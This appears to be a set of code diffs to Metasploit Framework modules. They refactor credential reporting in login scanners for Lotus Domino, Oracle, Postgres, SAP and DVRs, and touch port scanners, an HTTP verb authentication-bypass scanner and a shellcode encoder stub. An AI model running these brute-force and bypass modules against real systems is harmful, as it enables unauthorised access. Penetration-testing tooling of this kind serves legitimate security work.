report_auth_info(report_hash)
|
|
||||||
return :next_user
|
return :next_user
|
||||||
else
|
else
|
||||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||||
|
|
|
@ -3,7 +3,6 @@
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
@ -21,14 +20,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Name' => 'HTTP Verb Authentication Bypass Scanner',
|
'Name' => 'HTTP Verb Authentication Bypass Scanner',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module test for authentication bypass using different HTTP verbs.
|
This module test for authentication bypass using different HTTP verbs.
|
||||||
|
|
||||||
},
|
},
|
||||||
'Author' => [ 'et [at] metasploit.com' ],
|
'Author' => ['et [at] metasploit.com'],
|
||||||
'License' => BSD_LICENSE))
|
'License' => BSD_LICENSE))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('PATH', [ true, "The path to test", '/'])
|
OptString.new('TARGETURI', [true, "The path to test", '/'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -44,20 +42,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ]
|
verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ]
|
||||||
|
|
||||||
res = send_request_raw({
|
res = send_request_raw({
|
||||||
'uri' => normalize_uri(datastore['PATH']),
|
'uri' => normalize_uri(target_uri.path),
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
}, 10)
|
}, 10)
|
||||||
|
|
||||||
return if not res
|
return if not res
|
||||||
|
|
||||||
if not res.headers['WWW-Authenticate']
|
if not res.headers['WWW-Authenticate']
|
||||||
print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}")
|
print_status("#{full_uri} - Authentication not required [#{res.code}]")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
auth_code = res.code
|
auth_code = res.code
|
||||||
|
|
||||||
print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
|
print_status("#{full_uri} - Authentication required: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
|
||||||
|
|
||||||
report_note(
|
report_note(
|
||||||
:host => ip,
|
:host => ip,
|
||||||
|
@ -65,22 +63,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => 'WWW_AUTHENTICATE',
|
:type => 'WWW_AUTHENTICATE',
|
||||||
:data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}",
|
:data => "#{target_uri.path} Realm: #{res.headers['WWW-Authenticate']}",
|
||||||
:update => :unique_data
|
:update => :unique_data
|
||||||
)
|
)
|
||||||
|
|
||||||
verbs.each do |tv|
|
verbs.each do |tv|
|
||||||
resauth = send_request_raw({
|
resauth = send_request_raw({
|
||||||
'uri' => normalize_uri(datastore['PATH']),
|
'uri' => normalize_uri(target_uri.path),
|
||||||
'method' => tv
|
'method' => tv
|
||||||
}, 10)
|
}, 10)
|
||||||
|
|
||||||
next if not resauth
|
next if not resauth
|
||||||
|
|
||||||
print_status("Testing verb #{tv}, resp code: [#{resauth.code}]")
|
print_status("#{full_uri} - Testing verb #{tv} [#{resauth.code}]")
|
||||||
|
|
||||||
if resauth.code != auth_code and resauth.code <= 302
|
if resauth.code != auth_code and resauth.code <= 302
|
||||||
print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}")
|
print_good("#{full_uri} - Possible authentication bypass with verb #{tv} [#{resauth.code}]")
|
||||||
|
|
||||||
# Unable to use report_web_vuln as method is not in list of allowed methods.
|
# Unable to use report_web_vuln as method is not in list of allowed methods.
|
||||||
|
|
||||||
|
@ -90,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => 'AUTH_BYPASS_VERB',
|
:type => 'AUTH_BYPASS_VERB',
|
||||||
:data => "#{datastore['PATH']} Verb: #{tv}",
|
:data => "#{target_uri.path} Verb: #{tv}",
|
||||||
:update => :unique_data
|
:update => :unique_data
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
@ -98,4 +96,3 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
probe = buildprobe(shost, sport, ip, rport)
|
probe = buildprobe(shost, sport, ip, rport)
|
||||||
|
|
||||||
capture_sendto(probe, ip)
|
next unless capture_sendto(probe, ip)
|
||||||
|
|
||||||
reply = probereply(pcap, to)
|
reply = probereply(pcap, to)
|
||||||
|
|
||||||
|
|
|
@ -33,6 +33,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
last_attempted_at: Time.now,
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def do_login(user=nil,pass=nil)
|
def do_login(user=nil,pass=nil)
|
||||||
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
|
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
|
||||||
vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'")
|
vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'")
|
||||||
|
@ -48,15 +75,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
if res and res.code == 302
|
if res and res.code == 302
|
||||||
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
|
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
|
||||||
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:sname => (ssl ? "https" : "http"),
|
service_name: (ssl ? "https" : "http"),
|
||||||
:user => user,
|
user: user,
|
||||||
:pass => pass,
|
password: pass,
|
||||||
:proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}",
|
proof: "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}"
|
||||||
:source_type => "user_supplied",
|
|
||||||
:active => true
|
|
||||||
)
|
)
|
||||||
return :next_user
|
return :next_user
|
||||||
end
|
end
|
||||||
|
|
|
@ -200,18 +200,44 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
user_active = true
|
user_active = true
|
||||||
end
|
end
|
||||||
|
|
||||||
report_auth_info({
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:sname => 'dvr',
|
service_name: 'dvr',
|
||||||
:duplicate_ok => false,
|
user: user,
|
||||||
:user => user,
|
password: password,
|
||||||
:pass => password,
|
service_name: 'http',
|
||||||
:active => user_active
|
proof: "user_id: #{user_id}, active: #{active}"
|
||||||
})
|
)
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
|
|
|
@ -231,18 +231,46 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def report_isqlauth_info(ip,user,pass,sid)
|
def report_isqlauth_info(ip,user,pass,sid)
|
||||||
ora_info = {
|
ora_info = {
|
||||||
:host => ip, :port => rport, :proto => "tcp",
|
ip: ip,
|
||||||
:pass => pass, :source_type => "user_supplied",
|
port: rport,
|
||||||
:active => true
|
password: pass,
|
||||||
|
proof: sid.inspect,
|
||||||
|
service_name: 'tcp'
|
||||||
}
|
}
|
||||||
if sid.nil? || sid.empty?
|
if sid.nil? || sid.empty?
|
||||||
ora_info.merge! :user => user
|
ora_info.merge! :user => user
|
||||||
else
|
else
|
||||||
ora_info.merge! :user => "#{sid}/#{user}"
|
ora_info.merge! :user => "#{sid}/#{user}"
|
||||||
end
|
end
|
||||||
report_auth_info(ora_info)
|
report_cred(ora_info)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -138,6 +138,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
m[1,2]
|
m[1,2]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: opts[:status],
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def parse_script_output(addr,port,output)
|
def parse_script_output(addr,port,output)
|
||||||
msg = "#{addr}:#{port} - Oracle -"
|
msg = "#{addr}:#{port} - Oracle -"
|
||||||
@oracle_reported = false
|
@oracle_reported = false
|
||||||
|
@ -156,10 +182,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
user,pass = extract_creds(oline)
|
user,pass = extract_creds(oline)
|
||||||
pass = "" if pass == "<empty>"
|
pass = "" if pass == "<empty>"
|
||||||
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
|
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => addr, :port => port, :proto => "tcp",
|
ip: addr,
|
||||||
:user => "#{sid}/#{user}", :pass => pass,
|
port: port,
|
||||||
:source_type => "user_supplied", :active => true
|
user: "#{sid}/#{user}",
|
||||||
|
password: pass,
|
||||||
|
service_name: 'tcp',
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
)
|
)
|
||||||
elsif oline =~ /Account locked/
|
elsif oline =~ /Account locked/
|
||||||
if not @oracle_reported
|
if not @oracle_reported
|
||||||
|
@ -169,10 +198,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
user = extract_creds(oline)[0]
|
user = extract_creds(oline)[0]
|
||||||
print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
|
print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => addr, :port => port, :proto => "tcp",
|
ip: addr,
|
||||||
:user => "#{sid}/#{user}",
|
port: port,
|
||||||
:source_type => "user_supplied", :active => false
|
user: "#{sid}/#{user}",
|
||||||
|
service_name: 'tcp',
|
||||||
|
status: Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||||
)
|
)
|
||||||
elsif oline =~ /^\s+ERROR: (.*)/
|
elsif oline =~ /^\s+ERROR: (.*)/
|
||||||
print_error "#{msg} NSE script error: #{$1}"
|
print_error "#{msg} NSE script error: #{$1}"
|
||||||
|
|
|
@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||||
|
|
||||||
|
# we copy the hosts because some may not be reachable and need to be ejected
|
||||||
|
host_queue = hosts.dup
|
||||||
# Spread the load across the hosts
|
# Spread the load across the hosts
|
||||||
ports.each do |dport|
|
ports.each do |dport|
|
||||||
hosts.each do |dhost|
|
host_queue.each do |dhost|
|
||||||
shost, sport = getsource(dhost)
|
shost, sport = getsource(dhost)
|
||||||
|
|
||||||
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
||||||
|
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
probe = buildprobe(shost, sport, dhost, dport)
|
probe = buildprobe(shost, sport, dhost, dport)
|
||||||
|
|
||||||
capture_sendto(probe, dhost)
|
unless capture_sendto(probe, dhost)
|
||||||
|
host_queue.delete(dhost)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
reply = probereply(pcap, to)
|
reply = probereply(pcap, to)
|
||||||
|
|
||||||
|
|
|
@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||||
|
|
||||||
|
# we copy the hosts because some may not be reachable and need to be ejected
|
||||||
|
host_queue = hosts.dup
|
||||||
# Spread the load across the hosts
|
# Spread the load across the hosts
|
||||||
ports.each do |dport|
|
ports.each do |dport|
|
||||||
hosts.each do |dhost|
|
host_queue.each do |dhost|
|
||||||
shost, sport = getsource(dhost)
|
shost, sport = getsource(dhost)
|
||||||
|
|
||||||
self.capture.setfilter(getfilter(shost, sport, dhost, dport))
|
self.capture.setfilter(getfilter(shost, sport, dhost, dport))
|
||||||
|
@ -63,7 +65,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
probe = buildprobe(shost, sport, dhost, dport)
|
probe = buildprobe(shost, sport, dhost, dport)
|
||||||
|
|
||||||
capture_sendto(probe, dhost)
|
unless capture_sendto(probe, dhost)
|
||||||
|
host_queue.delete(dhost)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
reply = probereply(self.capture, to)
|
reply = probereply(self.capture, to)
|
||||||
|
|
||||||
|
|
|
@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||||
|
|
||||||
|
# we copy the hosts because some may not be reachable and need to be ejected
|
||||||
|
host_queue = hosts.dup
|
||||||
# Spread the load across the hosts
|
# Spread the load across the hosts
|
||||||
ports.each do |dport|
|
ports.each do |dport|
|
||||||
hosts.each do |dhost|
|
host_queue.each do |dhost|
|
||||||
shost, sport = getsource(dhost)
|
shost, sport = getsource(dhost)
|
||||||
|
|
||||||
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
||||||
|
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
probe = buildprobe(shost, sport, dhost, dport)
|
probe = buildprobe(shost, sport, dhost, dport)
|
||||||
|
|
||||||
capture_sendto(probe, dhost)
|
unless capture_sendto(probe, dhost)
|
||||||
|
host_queue.delete(dhost)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
reply = probereply(pcap, to)
|
reply = probereply(pcap, to)
|
||||||
|
|
||||||
|
|
|
@ -50,6 +50,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
datastore['RPORT']
|
datastore['RPORT']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def do_fingerprint(user=nil,pass=nil,database=nil)
|
def do_fingerprint(user=nil,pass=nil,database=nil)
|
||||||
begin
|
begin
|
||||||
msg = "#{rhost}:#{rport} Postgres -"
|
msg = "#{rhost}:#{rport} Postgres -"
|
||||||
|
@ -79,13 +105,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
if self.postgres_conn
|
if self.postgres_conn
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:sname => "postgres",
|
service_name: 'postgres',
|
||||||
:user => user,
|
user: user,
|
||||||
:pass => password,
|
password: password,
|
||||||
:active => true
|
proof: "postgres_conn = #{self.postgres_conn.inspect}"
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -43,9 +43,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
pcap = self.capture
|
pcap = self.capture
|
||||||
|
|
||||||
capture_sendto(build_tcp_syn(ip), ip)
|
capture_sendto(build_tcp_syn(ip), ip) and capture_sendto(build_icmp(ip), ip)
|
||||||
|
|
||||||
capture_sendto(build_icmp(ip), ip)
|
|
||||||
|
|
||||||
close_pcap
|
close_pcap
|
||||||
end
|
end
|
||||||
|
|
|
@ -220,6 +220,31 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
[ sd, lport ]
|
[ sd, lport ]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def start_rsh_session(host, port, user, luser, proof, stderr_sock)
|
def start_rsh_session(host, port, user, luser, proof, stderr_sock)
|
||||||
report_auth_info(
|
report_auth_info(
|
||||||
|
|
|
@ -68,22 +68,49 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} - Adding User to Group...")
|
vprint_status("#{rhost}:#{rport} - Adding User to Group...")
|
||||||
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP']
|
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP']
|
||||||
if send_request(uri)
|
res = send_request(uri)
|
||||||
|
if res
|
||||||
print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}")
|
print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}")
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:port => rport,
|
port: rport,
|
||||||
:user => datastore['USERNAME'],
|
service_name: 'sap',
|
||||||
:pass => datastore['PASSWORD'],
|
user: datastore['USERNAME'],
|
||||||
:ptype => "password",
|
pass: datastore['PASSWORD'],
|
||||||
:active => true
|
proof: res.body
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def send_request(uri)
|
def send_request(uri)
|
||||||
begin
|
begin
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
|
|
|
@ -61,6 +61,32 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def enum_user(user, pass, uri)
|
def enum_user(user, pass, uri)
|
||||||
|
|
||||||
# Replace placeholder with SAP SID, if present
|
# Replace placeholder with SAP SID, if present
|
||||||
|
@ -140,16 +166,13 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
|
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
|
||||||
end
|
end
|
||||||
|
|
||||||
report_auth_info(
|
report_cred(
|
||||||
:host => rhost,
|
ip: rhost,
|
||||||
:sname => 'sap-managementconsole',
|
port: port,
|
||||||
:proto => 'tcp',
|
user: user,
|
||||||
:port => rport,
|
password: pass,
|
||||||
:user => user,
|
service_name: 'sap-managementconsole',
|
||||||
:pass => pass,
|
proof: res.body
|
||||||
:source_type => "user_supplied",
|
|
||||||
:target_host => rhost,
|
|
||||||
:target_port => rport
|
|
||||||
)
|
)
|
||||||
else
|
else
|
||||||
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
|
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
|
||||||
|
|
|
@ -124,7 +124,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
return
|
return
|
||||||
else
|
else
|
||||||
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
|
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
|
||||||
report_auth_info(
|
report_auth(
|
||||||
ip: ip,
|
ip: ip,
|
||||||
port: rport,
|
port: rport,
|
||||||
service_name: 'sap',
|
service_name: 'sap',
|
||||||
|
|
|
@ -31,6 +31,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
# being encoded.
|
# being encoded.
|
||||||
#
|
#
|
||||||
def decoder_stub(state)
|
def decoder_stub(state)
|
||||||
|
modified_registers = []
|
||||||
reg = datastore['BufferRegister']
|
reg = datastore['BufferRegister']
|
||||||
off = (datastore['BufferOffset'] || 0).to_i
|
off = (datastore['BufferOffset'] || 0).to_i
|
||||||
buf = ''
|
buf = ''
|
||||||
|
@ -41,8 +42,19 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
|
buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
|
||||||
reg = 'ECX'
|
reg = 'ECX'
|
||||||
off = 0
|
off = 0
|
||||||
|
modified_registers.concat (
|
||||||
|
[
|
||||||
|
Rex::Arch::X86::ESP,
|
||||||
|
Rex::Arch::X86::EDI,
|
||||||
|
Rex::Arch::X86::ESI,
|
||||||
|
Rex::Arch::X86::EBP,
|
||||||
|
Rex::Arch::X86::EBX,
|
||||||
|
Rex::Arch::X86::EDX,
|
||||||
|
Rex::Arch::X86::ECX,
|
||||||
|
Rex::Arch::X86::EAX
|
||||||
|
])
|
||||||
else
|
else
|
||||||
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
|
||||||
if (not res)
|
if (not res)
|
||||||
raise EncodingError, "Unable to generate geteip code"
|
raise EncodingError, "Unable to generate geteip code"
|
||||||
end
|
end
|
||||||
|
@ -52,7 +64,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
reg.upcase!
|
reg.upcase!
|
||||||
end
|
end
|
||||||
|
|
||||||
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
|
stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off, modified_registers)
|
||||||
|
|
||||||
|
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||||
|
modified_registers.uniq!
|
||||||
|
if (modified_registers & saved_registers).length > 0
|
||||||
|
raise BadGenerateError
|
||||||
|
end
|
||||||
|
|
